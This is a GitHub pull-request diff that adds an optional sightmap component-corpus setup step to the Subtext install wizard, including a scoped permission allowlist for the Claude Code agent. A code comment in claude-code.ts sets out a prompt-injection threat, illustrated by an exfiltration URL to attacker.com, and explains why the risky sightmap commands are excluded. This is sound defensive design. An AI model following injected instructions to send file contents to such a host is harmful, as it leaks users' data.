Skip to content
Open
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/sightmap-setup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"@subtextdev/subtext-wizard": minor
---

Offer to build a sightmap component corpus after the install. When setup finishes, the wizard can install the `@sightmap/sightmap` CLI and have your coding agent seed a `.sightmap/` corpus from the codebase — so future Subtext session reviews name your UI components instead of showing raw selectors. Optionally deepens coverage against a running dev server. Offered interactively by default; opt in for unattended runs with `--sightmap`.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ npx @subtextdev/subtext-wizard
3. **Asks about your stack** — pick the analytics and product tools you use (PostHog, Amplitude, Mixpanel, Sentry, Segment, and more) so setup can link them up.
4. **Finds your coding agent** — detects Claude Code, Codex, Gemini CLI, Cursor, Windsurf, VS Code, Zed, or Claude Desktop.
5. **Hands the install to your own agent** — no bundled agent; it drives the one you already use to wire up the capture snippet, MCP server, skills, and commands.
6. **Offers to build a sightmap** — optionally installs the [`@sightmap/sightmap`](https://docs.sightmap.org/start/quickstart) CLI and has your agent seed a `.sightmap/` component corpus, so later session reviews name your UI ("add-to-cart button") instead of showing raw selectors.

When it finishes, your agent is connected to your sessions. See the [Subtext repo](https://github.com/fullstorydev/subtext) for what it can do from there.

Expand All @@ -48,6 +49,9 @@ When it finishes, your agent is connected to your sessions. See the [Subtext rep
--agent <id> Skip the agent picker (claude-code, codex, gemini, cursor,
windsurf, vscode, zed, claude-desktop, manual)
--integrations <list> Comma-separated tools to target, skips the picker
--sightmap Also build a .sightmap/ component corpus so reviews name
your UI. Offered interactively by default; this flag opts
in for unattended --yes runs.
--print-prompt Print the install prompt instead of launching an agent
--no-telemetry Opt out of telemetry. Anonymous install telemetry (step
progress, outcomes, timings, and agent token usage;
Expand Down
24 changes: 19 additions & 5 deletions src/agents/claude-code.ts
Original file line number Diff line number Diff line change
Expand Up @@ -8,15 +8,22 @@ import { extractTelemetryMarkers } from './telemetry-marker.js';
import type { AgentDefinition, LaunchContext, LaunchResult } from './types.js';

/**
* Tools the headless run is pre-authorized to use beyond edits: docs fetching
* and dependency installs. Telemetry needs no tool here — the agent just prints
* markers to stdout that the wizard parses. Everything else falls back to
* Claude Code's own permission rules.
* Tools the headless run is pre-authorized to use beyond edits: docs fetching,
* dependency installs, and the sightmap CLI's authoring subcommands. Telemetry
* needs no tool here — the agent just prints markers to stdout that the wizard
* parses. Everything else falls back to Claude Code's own permission rules.
*
* WebFetch is scoped to the two Subtext/Fullstory doc domains the install
* actually needs. Leaving it unscoped would make it an exfiltration channel
* under prompt injection (fetch `https://attacker.com/?data=<file contents>`);
* the domain scope closes that.
*
* The sightmap entries are scoped the same way: only the subcommands the
* sightmap-authoring prompt (see prompt/sightmap.ts) actually tells the agent
* to run. `sightmap` also has a `push` command that POSTs a corpus to an
* arbitrary URL and a `browser eval` that runs arbitrary JS in the page — an
* unscoped `Bash(sightmap:*)` would hand a prompt injection an exfiltration
* path the same way an unscoped WebFetch would, so those are left out.
*/
const ALLOWED_TOOLS = [
'WebFetch(domain:subtext.fullstory.com)',
Expand All @@ -25,6 +32,13 @@ const ALLOWED_TOOLS = [
'Bash(pnpm add:*)',
'Bash(yarn add:*)',
'Bash(bun add:*)',
'Bash(sightmap version:*)',
'Bash(sightmap --help:*)',
'Bash(sightmap validate:*)',
'Bash(sightmap lint:*)',
'Bash(sightmap browser start:*)',
'Bash(sightmap snapshot:*)',
'Bash(sightmap sel-probe:*)',

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sightmap docs fetch is blocked

Medium Severity

The authoring prompt tells Claude Code to fetch https://docs.sightmap.org/start/quickstart when the sightmap-authoring skill is missing, but ALLOWED_TOOLS still scopes WebFetch to the two Fullstory domains. That fallback cannot run, so a failed skills install leaves the agent without the format reference the prompt calls the source of truth.

Additional Locations (1)
Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 1620af3. Configure here.

];

async function findClaudeBinary(): Promise<string | null> {
Expand Down Expand Up @@ -128,7 +142,7 @@ export const claudeCode: AgentDefinition = {
name: 'Claude Code',
kind: 'terminal',
autonomy:
'auto-accepting file edits and running a limited set of commands (dependency installs and Subtext doc fetches)',
'auto-accepting file edits and running a limited set of commands (dependency installs, Subtext doc fetches, and sightmap CLI commands)',
async detect() {
const binaryPath = await findClaudeBinary();
if (!binaryPath) return null;
Expand Down
5 changes: 5 additions & 0 deletions src/bin.ts
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,9 @@ Options:
userpilot, sprig, segment — unknown names become "Other")
--print-prompt Print each install prompt to stdout as it's built, then
continue the normal flow (testing aid)
--sightmap Also build a .sightmap/ component corpus so session
reviews name your UI. Offered interactively by default;
this flag opts in for unattended --yes runs.
--yes Skip the pre-launch confirmation (for CI/non-interactive
use). The agent runs autonomously against --dir with
edits — and, depending on the agent, command execution —
Expand Down Expand Up @@ -65,6 +68,7 @@ function main(): void {
agent: { type: 'string' },
integrations: { type: 'string' },
'print-prompt': { type: 'boolean', default: false },
sightmap: { type: 'boolean', default: false },
yes: { type: 'boolean', default: false },
mock: { type: 'boolean', default: false },
'no-telemetry': { type: 'boolean', default: false },
Expand Down Expand Up @@ -119,6 +123,7 @@ function main(): void {
.map((s) => s.trim())
.filter(Boolean),
printPrompt: values['print-prompt'] ?? false,
sightmap: values.sightmap ?? false,
yes: values.yes ?? false,
mock,
// Telemetry is on by default; both the explicit --no-telemetry flag and the
Expand Down
3 changes: 3 additions & 0 deletions src/config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -243,5 +243,8 @@ export interface WizardOptions {
printPrompt: boolean;
/** Skip the pre-launch confirmation (non-interactive/CI use). */
yes: boolean;
/** Opt into building a sightmap corpus under --yes. Interactive runs are
* always offered it; this only matters for unattended CI runs. */
sightmap: boolean;
debug: boolean;
}
54 changes: 54 additions & 0 deletions src/prompt/sightmap.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
import fs from 'node:fs';
import { packageRootPath } from '../paths.js';
import type { PromptMode } from './build.js';

export interface BuildSightmapPromptInput {
mode: PromptMode;
/** Dev-server URL for the live-coverage pass, or undefined to seed from code only. */
appUrl?: string;
}

const HEADLESS_MODE_SECTION = `## Mode: autonomous (headless)

You are running non-interactively inside the Subtext setup CLI. The user cannot answer questions mid-run. Apply your best judgment, keep the corpus small and accurate rather than exhaustive, and record what you built (plus anything you'd have asked) in \`./sightmap-setup-report.md\`. Never block waiting for input.`;

const INTERACTIVE_MODE_SECTION = `## Mode: interactive

Work through the steps with the user in this conversation. Show them the components you intend to define before writing large batches, and let them steer which surfaces matter most.`;

/** The live-coverage pass only appears when the user gave us a dev-server URL. */
function liveSection(appUrl: string): string {
return `## Step 4: Deepen coverage against the running app

A dev server is running at ${appUrl}. Use it to find components you couldn't see from the code alone.

1. Start a browser session: \`sightmap browser start --url '${appUrl}'\`.
2. For each meaningful route, take a coverage snapshot — \`sightmap snapshot --coverage --url '<route-url>'\` — and read which on-screen elements have no component mapped yet.
3. Add sightmap components for the uncovered elements that a person would name, using \`sightmap sel-probe\` to confirm a selector matches before you commit it.
4. Re-run \`sightmap validate\` and \`sightmap lint\` until clean.

If the \`sightmap-browser\` skill is available, use it to drive this loop.`;
}

export function buildSightmapPrompt(input: BuildSightmapPromptInput): string {
const template = fs.readFileSync(packageRootPath('templates', 'sightmap-prompt.md'), 'utf8');
const headless = input.mode === 'headless';
const live = Boolean(input.appUrl);

const replacements: Record<string, string> = {
MODE_SECTION: headless ? HEADLESS_MODE_SECTION : INTERACTIVE_MODE_SECTION,
LIVE_SECTION: live ? liveSection(input.appUrl!) : '',
// The live pass is Step 4, so the report becomes Step 5 when it's present.
REPORT_STEP: live ? '5' : '4',
REPORT_VERB: headless ? 'Record' : 'Tell the user',
REPORT_LOCATION: headless
? 'Put this in `./sightmap-setup-report.md`.'
: '',
};

let prompt = template;
for (const [key, value] of Object.entries(replacements)) {
prompt = prompt.replaceAll(`{{${key}}}`, value);
}
return prompt.replace(/\n{3,}/g, '\n\n').trim() + '\n';
}
10 changes: 9 additions & 1 deletion src/run.ts
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@ import {
type PromptTelemetry,
} from './prompt/build.js';
import { offerPromptReview } from './promptReview.js';
import { offerSightmapSetup } from './sightmap.js';
import { fetchCaptureSnippet } from './snippet.js';
import { Telemetry } from './telemetry.js';

Expand Down Expand Up @@ -253,11 +254,12 @@ export async function runWizard(options: WizardOptions): Promise<number> {
p.note(
readableNoteBody(
[
'To get the most out of your captured sessions, three more steps:',
'To get the most out of your captured sessions, four more steps:',
'',
' 1. Identify users — tie each session to the signed-in person.',
' 2. Link analytics — add the session URL to the tools you already use.',
' 3. Mask sensitive data — tag PII so it stays out of capture.',
' 4. Build a sightmap: map your UI so reviews name components instead of selectors.',
'',
detail,
].join('\n'),
Expand Down Expand Up @@ -315,6 +317,8 @@ export async function runWizard(options: WizardOptions): Promise<number> {
yes: options.yes,
onEvent,
});
// Last item of the enrichment list — offered after the other three.
await offerSightmapSetup(MANUAL_CHOICE, options, onEvent);
}
p.outro('Run this installer again any time with: npx @subtextdev/subtext-wizard');
await telemetry.flush();
Expand Down Expand Up @@ -383,6 +387,8 @@ export async function runWizard(options: WizardOptions): Promise<number> {
openTarget: options.printPrompt ? undefined : openTarget,
onEvent,
});
// Last item of the enrichment list — offered after the other three.
await offerSightmapSetup(chosen, options, onEvent);
}
p.outro('Finish the install in your agent — it will guide you from here.');
await telemetry.flush();
Expand Down Expand Up @@ -516,6 +522,8 @@ export async function runWizard(options: WizardOptions): Promise<number> {
if (enrichResult.exitCode !== 0) {
telemetry.note('phase2_failed', { exit_code: enrichResult.exitCode ?? null });
}
// Last item of the enrichment list — offered after the other three.
await offerSightmapSetup(chosen, options, onEvent);
}
} catch (error) {
// Cancel (the integration multiselect) → user declined phase 2, fall
Expand Down
Loading
Loading